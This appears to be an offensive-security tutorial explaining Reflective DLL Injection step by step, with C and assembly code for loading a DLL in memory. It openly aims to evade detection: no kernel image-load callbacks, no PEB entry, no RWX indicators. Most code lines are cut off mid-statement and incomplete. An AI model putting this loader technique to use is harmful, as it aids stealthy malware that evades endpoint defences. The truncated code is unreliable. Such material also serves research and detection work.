Researchs
Reflective DLL
Injection (RDI)
In this chapter, we will explore a theoretical
explanation of the Reflective DLL Injection
process, developed by Stephen Fewer. We
will propose insights into the involved
techniques.
What is Reflective DLL
Injection
Reflective DLL Injection is nothing more than
a way to load a DLL directly into the memory
of the target process (which can also be the
current process) instead of loading it using
the LoadLibrary WinAPI, which utilizes the
Windows DLL Loader. We will build an
exported function that will perform all the
reflective loader passes to execute our
DllMain entrypoint.
Reflective DLL Injection
x Windows DLL Loader
Reflective DLL Injection Windows DLL Loader
Does not trigger Trigger Kernel
kernel callbacks Callbacks for
for image loads. Image Loads
It cannot be
It can be obfuscated
obfuscated
It cannot be found It can be found
through the Process through the Process
Environment Environment
Block (PEB). Block (PEB).
The file dont needs The file needs
to be on disk to be on disk
Requirements
To ensure reflective loading and make the
DLL position-independent, several crucial
steps must be taken. These include
resolving/correcting the Relocation Table,
the Import Address Table. However, we face
a problem where we might leave Indicators
of Compromise (IOCs) because when
allocating memory for the DLL, we would
have to use memory with RWX (Read-Write-
Execute) permissions, and potentially have
issues with TLS (Thread Local Storage)
Callbacks. Therefore, I have added 2 more
steps to this chapter on Reflective PE, its the
memory protections of the sections, and
executing the TLS Callbacks. Another
consideration is that in the exported function,
we cannot use WinAPI directly. All WinAPI
functions must be resolved using Finding
Module(DLL) Address and Finding Exported
Function, as the Import Address Table has
not yet been resolved.
Upgrade in dynamic
syscall
For this project, I've decided to upgrade the
dynamic loading functions I mentioned
earlier, so I've added support for forwarded
functions, example of the fowarded function
can be found here Sideloading + Proxying in
Custom Software.
LdrFuncAddr
PVOID LdrFuncAddr( _In_ PVOID BaseModule
{
PIMAGE_NT_HEADERS pImgNt
PIMAGE_EXPORT_DIRECTORY pImgExportDir
DWORD ExpDirSz
PDWORD AddrOfFuncs
PDWORD AddrOfNames
PWORD AddrOfOrdinal
PVOID FuncAddr
pImgNt = C_PTR( BaseModule
pImgExportDir = C_PTR( BaseModule +
ExpDirSz = U_PTR( BaseModule
AddrOfNames = C_PTR( BaseModule
AddrOfFuncs = C_PTR( BaseModule
AddrOfOrdinals = C_PTR( BaseModule
for ( int i = 0 ; i < pImgExportDir
PCHAR pFuncName = (PCHAR)
PVOID pFunctionAddress = C_PTR(
if ( StringCompareA( pFuncName,
if (( U_PTR( pFunctionAddress
( U_PTR( pFunctionAddress
CHAR ForwarderName[MAX_P
DWORD dwOffset
PCHAR FuncMod
PCHAR nwFuncName
MemCopy( ForwarderName,
for ( int j = 0 ; j < Str
if (((PCHAR)Forwarder
dwOffset
ForwarderName[j]
break;
}
}
FuncMod = ForwarderNam
nwFuncName = ForwarderNam
char cLoadLibraryA[] =
WCHAR wKernel32[] =
fnLoadLibraryA pLoadLibra
HMODULE hForwardedModule
if ( hForwardedModule ) {
if ( nwFuncName[0]
int ordinal = (IN
return (PVOID)Ldr
} else {
return (PVOID)Ldr
}
}
return NULL;
}
return C_PTR( pFunctionAddres
}
}
return NULL;
}
Steps for Reflective
Loader
Get DLL Base Address
Allocate memory to store the DLL.
Copy the DLL sections to the allocated
memory.
Resolve relocations.
Correct the Import Address Table.
Re-Define memory permissions
Execute TLS Callbacks.
Execute the EntryPoint (DllMain).
Get DLL Base Address
It is necessary to obtain the base address
from where the Reflective DLL was injected
because we need to parse the PE header for
subsequent activities, there are several ways
to do this but for now we will use the
simplest way which is getting the return
address from the stack and looping looking
for the magic bytes, a demonstration of the
code below:
section .text
global RDIcaller
RDIcaller:
call pop
pop:
pop rcx
loop:
xor rbx, rbx
mov ebx, 0x5A4D
dec rcx
cmp bx, [ rcx ]
jne loop
xor rax, rax
mov ax, [ rcx + 0x3C ]
add rax, rcx
xor rbx, rbx
add bx, 0x4550
cmp bx, [ rax ]
jne loop
mov rax, rcx
ret
Memory Allocation
First and foremost, we'll allocate memory for
our Reflective DLL . We'll use the
VirtualAlloc WinAPI, passing the size of
the image ( SizeOfImage ). Then, we'll use
multiple memcpy operations in a loop to
copy the data of sections to the allocated
memory.
DllAddr = pVirtualAlloc( NULL, pImgNtHdrs
for ( int i = 0 ; i < pImgNtHdrs->FileHea
MemCopy(
C_PTR(DllAddr + pImgSectHdr[i].
C_PTR(LibAddr + pImgSectHdr[i].
pImgSectHdr[i].SizeOfRawData
);
}
Fix Relocation
This is necessary because all these
resources rely on our DLL being loaded at
the ImageBase (also known as the preferred
address), which is a member of the Optional
Header. Relocation Table is located in
.reloc section. However, when loaded into
a process, it will be allocated to a different
memory space. Therefore, to find the new
preferred address, we must use ( ImageBase
- Allocation Address ).
dwOffset = DEREF_64(DllAddr) - pImgNtHdrs
Now we need to obtain the virtual address of
the Base Relocation Table . We can access
it directly through the VirtualAddress field
of the Optional Header , via Optional
Header # Data Directory[x], where x
represents the index of the data directory
array corresponding to BASE RELOC .
However, a more elegant way to do this is by
using the
IMAGE_DIRECTORY_ENTRY_BASERELOC macro,
as demonstrated below.
pEntryReloc = &pImgNtHdrs->OptionalHeader
The relocation table consists of blocks of
IMAGE_BASE_RELOCATION , as shown below in
the structure:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_REL
We can iterate over these blocks by taking
the VirtualAddress + SizeOfBlock, an image
below will be used to represent:
.reloc section demonstration
Relocation Entry is a
BASE_RELOCATION_ENTRY structure where we
will apply relocations:
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} IMAGE_RELOCATION_ENTRY;
There are several Base Relocation Types,
and we will perform relocation corrections on
the main ones, which are:
Name Value Description
The base
relocation
adds the high
IMAGE_REL_BA 16 bits of the
0x00
SED_ABSOLUTE difference
to te 16-bit
field at offset
The 16-bit
The base
relocation
adds the high
IMAGE_REL_BA 16 bits of the
0X01
SED_HIGH difference
to te 16-bit
field at offset
The 16-bit
The base
relocation
adds the low
16 bits of the
difference
IMAGE_REL_BA to the 16-
0x02
SED_LOW bit field at
offset. The
16-bit field
represents
the low half o
a 32-bit word
The base
relocation
applies all 32
IMAGE_REL_BA
0x03 bits of the
SED_HIGHLOW
difference
to the 32-bit
field at offset
The base
relocation
IMAGE_REL_BA applies the
0x010
SED_DIR64 difference
to the 64-bit
field at offset
Now, a code demonstration that performs the
entire relocation process:
BOOL FixReloc( _In_ PIMAGE_DATA_DIRECTORY
PVOID FirstRelocBlo
PIMAGE_BASE_RELOCATION CurRelocBlock
PIMAGE_RELOCATION_ENTRY RelocEntry
DWORD64 RelocRVA
DWORD64 *RelocAddr
FirstRelocBlock = ( NewImgAddr + pEnt
CurRelocBlock = FirstRelocBlock;
while( CurRelocBlock->VirtualAddress
RelocEntry = &CurRelocBlock[1];
while( (DWORD64)RelocEntry < (DWO
RelocRVA = CurRelocBlock->
*RelocAddr = NewImgAddr + Rel
switch(RelocEntry->Type){
case IMAGE_REL_BASED_HIGH
// 16 high bits
*RelocAddr += HIWORD
break;
case IMAGE_REL_BASED_LOW
// 16 low bits
*RelocAddr += LOWORD
break;
case IMAGE_REL_BASED_HIGH
// 32 bits
*RelocAddr += (DWORD)
break;
case IMAGE_REL_BASED_DIR6
// 64 bits
*RelocAddr += DeltaOf
break;
default:
break;
}
RelocEntry++;
}
CurRelocBlock = (PBYTE)CurRelocBl
}
return TRUE;
Correcting IAT
Its necessary correct the
Import Address Table because when the
Windows DLL Loader loads the DLL into a
process, it already fills the IAT with
addresses of the functions used by the PE.
However, since we're injecting the DLL into
the memory of a process, we need to do this
same work manually. The
Import Directory Table is located in the
idata section and has an array of
IMAGE_IMPORT_DESCRIPTOR represented by
the following structure:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
Name - DLL name that will be used as a
parameter to get the module address.
FirstThunk - Structure where we will fill
in the addresses of the functions.
OriginalFirstThunk - Structure that we
will use to get the name/ordinal of the
functions.
The structure of FirstThunk and
OriginalFirstThunk is IMAGE_THUNK_DATA ,
which will be demonstrated below:
typedef struct _IMAGE_THUNK_DATA {
union {
ULONGLONG ForwarderString;
ULONGLONG Function;
ULONGLONG Ordinal;
ULONGLONG AddressOfData;
} u1;
} IMAGE_THUNK_DATA;
The following code sample will be used to
solve the Import Address Table:
BOOL ResolveIat( _In_ PIMAGE_DATA_DIRECTO
PIMAGE_IMPORT_DESCRIPTOR ImportDesc
for (SIZE_T i = 0; ImportDesc->Name;
PIMAGE_THUNK_DATA IAT = NewImgAdd
PIMAGE_THUNK_DATA ILT = NewImgAdd
PCHAR DllName = NewImgAddr + Impo
HMODULE hDll = LdrModuleAddr( CRC
if (!hDll) {
hDll = LdrLib( DllName );
if (!hDll) {
return FALSE;
}
}
for (; ILT->[Link]; IAT++,
if (IMAGE_SNAP_BY_ORDINAL(ILT
LPCSTR functionOrdinal
IAT->[Link] = (DWORD
if ( !IAT->[Link] ){
return FALSE;
}
}
else {
IMAGE_IMPORT_BY_NAME* Hin
IAT->[Link] = LdrFun
if ( !IAT->[Link] ){
return FALSE;
}
}
}
}
return TRUE;
Regarding the Dll name, we are first trying to
obtain it from PEB if it is loaded in the
current process, if not we are using an
LdrLib function that uses the low-level API
of LoadLibrary to load the DLL in the current
process, the function is shown follow:
PVOID LdrLib( _In_ LPSTR ModuleName ){
if ( ! ModuleName )
return NULL;
fnLdrLoadDll pLdrLoadDll = LdrFunc
UNICODE_STRING UnicodeString
WCHAR ModuleNameW[ MAX_PATH
DWORD dwModuleNameSize
HMODULE Module
CharStringToWCharString( ModuleNameW
if ( ModuleNameW ){
USHORT DestSize = Str
[Link] = Des
[Link] = Des
}
[Link] = ModuleNameW;
if ( NT_SUCCESS( pLdrLoadDll( NULL,
return Module;
else
return NULL;
Re-Define Memory
Permissions
If we were not to reset the memory
permissions we would have to allocate with
RWX which is a strong indicator, so it would
end up looking like this in the memory
mapping of the injected process:
Before Re-Define memory permissions
Resetting permissions is very simple, we will
perform a loop and make comparisons to
find out what is the appropriate memory
definition for each section and we will use
the VirtualProtect API to correct them:
for ( int i = 0; i < pImgNtHdrs->File
DWORD dwProtection = 0x00;
DWORD dwOldProtection = 0x00;
if ( !pImgSectHdr[i].SizeOfRawData
continue;
if ( pImgSectHdr[i].Characteristics
dwProtection = PAGE_WRITECOPY;
if ( pImgSectHdr[i].Characteristics
dwProtection = PAGE_READONLY;
if ( ( pImgSectHdr[i].Characteristics
dwProtection = PAGE_READWRITE;
if (pImgSectHdr[i].Characteristics
dwProtection = PAGE_EXECUTE;
if ((pImgSectHdr[i].Characteristics &
dwProtection = PAGE_EXECUTE_WRITE
if ((pImgSectHdr[i].Characteristics
dwProtection = PAGE_EXECUTE_READ;
if ((pImgSectHdr[i].Characteristics &
dwProtection = PAGE_EXECUTE_READW
if ( !pVirtualProtect( (PVOID)(DllAdd
return;
}
}
But with memory resets we can allocate it
with RW and then we will reset each section
with its memory properly, it looks like this:
After Re-Define Memory Permissions
TLS Callbacks Execution
The TLS Callback are functions executed
before the entry point. Before running
DLLMain, these callbacks must be executed.
They can be found in the PE Data Directory
Entry TLS.
BOOL ExecTls( _In_ PIMAGE_DATA_DIRECTORY
PIMAGE_TLS_CALLBACK *TlsCallback;
if(pEntryTls->Size) {
PIMAGE_TLS_DIRECTORY TlsDir = (PI
TlsCallback = (PIMAGE_TLS_CALLBAC
for( ; *TlsCallback; TlsCallback
(*TlsCallback)((LPVOID)DllAdd
}
}
Execute DllMain EntryPoint
Now we can get the Dll's entrypoint, which is
DllMain, and return the execution flow to it,
but first we will clear the instruction caches
with NtFlushInstructionCache.
pNtFlushInstructionCache( (HANDLE)-1, NUL
ExecTls( pEntryTls, DllAddr );
ULONG_PTR EntryPoint = ( U_PTR(DllAddr)